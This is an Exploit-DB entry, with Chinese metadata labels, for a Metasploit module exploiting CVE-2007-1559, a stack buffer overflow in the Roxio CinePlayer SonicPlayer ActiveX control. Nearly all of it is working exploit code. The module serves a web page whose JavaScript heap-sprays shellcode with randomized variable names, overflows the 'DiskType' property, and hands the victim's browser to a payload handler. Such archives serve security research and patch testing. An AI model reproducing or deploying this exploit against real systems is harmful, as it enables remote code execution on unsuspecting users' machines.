标题: Roxio CinePlayer - ActiveX Control Buffer Overflow (Metasploit) EDB-ID: 16559 CVE: 2007-1559 类型: REMOTE 平台: WINDOWS 发布日期: 2010-04-30 漏洞利用脚本: ##
# $Id: roxio_cineplayer.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Roxio CinePlayer ActiveX Control Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack-based buffer overflow in SonicPlayer ActiveX
    control (SonicMediaPlayer.dll) 3.0.0.1 installed by Roxio CinePlayer 3.2.
    By setting an overly long value to 'DiskType', an attacker can overrun
    a buffer and execute arbitrary code.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'Trancer <mtrancer[at]gmail.com>' ],
   'Version'        => '$Revision: 9179 $',
   'References'     =>
    [
     [ 'CVE', '2007-1559' ],
     [ 'OSVDB', '34779' ],
     [ 'BID', '23412' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'         => 1024,
     'BadChars'      => "\x00\x09\x0a\x0d'\\",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows XP SP0-SP3 / Windows Vista SP0-SP1 / IE 6.0 SP0-2 & IE 7.0', { 'Offset' => 200, 'Ret' => 0x0C0C0C0C } ]
    ],
   'DisclosureDate' => 'Apr 11 2007',
   'DefaultTarget'  => 0))
 end

 def autofilter
  false
 end

 def check_dependencies
  use_zlib
 end

 def on_request_uri(cli, request)
  # Re-generate the payload
  return if ((p = regenerate_payload(cli)) == nil)

  # Encode the shellcode
  shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

  # Setup exploit buffers
  nops    = Rex::Text.to_unescape([target.ret].pack('V'))
  ret     = Rex::Text.uri_encode([target.ret].pack('L'))
  blocksize = 0x40000
  fillto    = 500
  offset    = target['Offset']

  # Randomize the javascript variable names
  sonic      = rand_text_alpha(rand(100) + 1)
  j_shellcode  = rand_text_alpha(rand(100) + 1)
  j_nops       = rand_text_alpha(rand(100) + 1)
  j_headersize = rand_text_alpha(rand(100) + 1)
  j_slackspace = rand_text_alpha(rand(100) + 1)
  j_fillblock  = rand_text_alpha(rand(100) + 1)
  j_block      = rand_text_alpha(rand(100) + 1)
  j_memory     = rand_text_alpha(rand(100) + 1)
  j_counter    = rand_text_alpha(rand(30) + 2)
  j_ret        = rand_text_alpha(rand(100) + 1)

  # Build out the message
  content = %Q|
<html>
<object classid='clsid:9F1363DA-0220-462E-B923-9E3C9038896F' id='#{sonic}'></object>
<script language='javascript'>
 #{j_shellcode}=unescape('#{shellcode}');
 #{j_nops}=unescape('#{nops}');
 #{j_headersize}=20;
 #{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;
 while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};
 #{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});
 #{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});
 while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};
 #{j_memory}=new Array();
 for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};
 #{j_ret}='';
 for(#{j_counter}=0;#{j_counter}<=#{offset};#{j_counter}++)#{j_ret}+=unescape('#{ret}');
 #{sonic}.DiskType(#{j_ret});
</script>
</html>
   |

  print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

  # Transmit the response to the client
  send_response_html(cli, content)

  # Handle the payload
  handler(cli)
 end

end URL: https://www.exploit-db.com/exploits/16559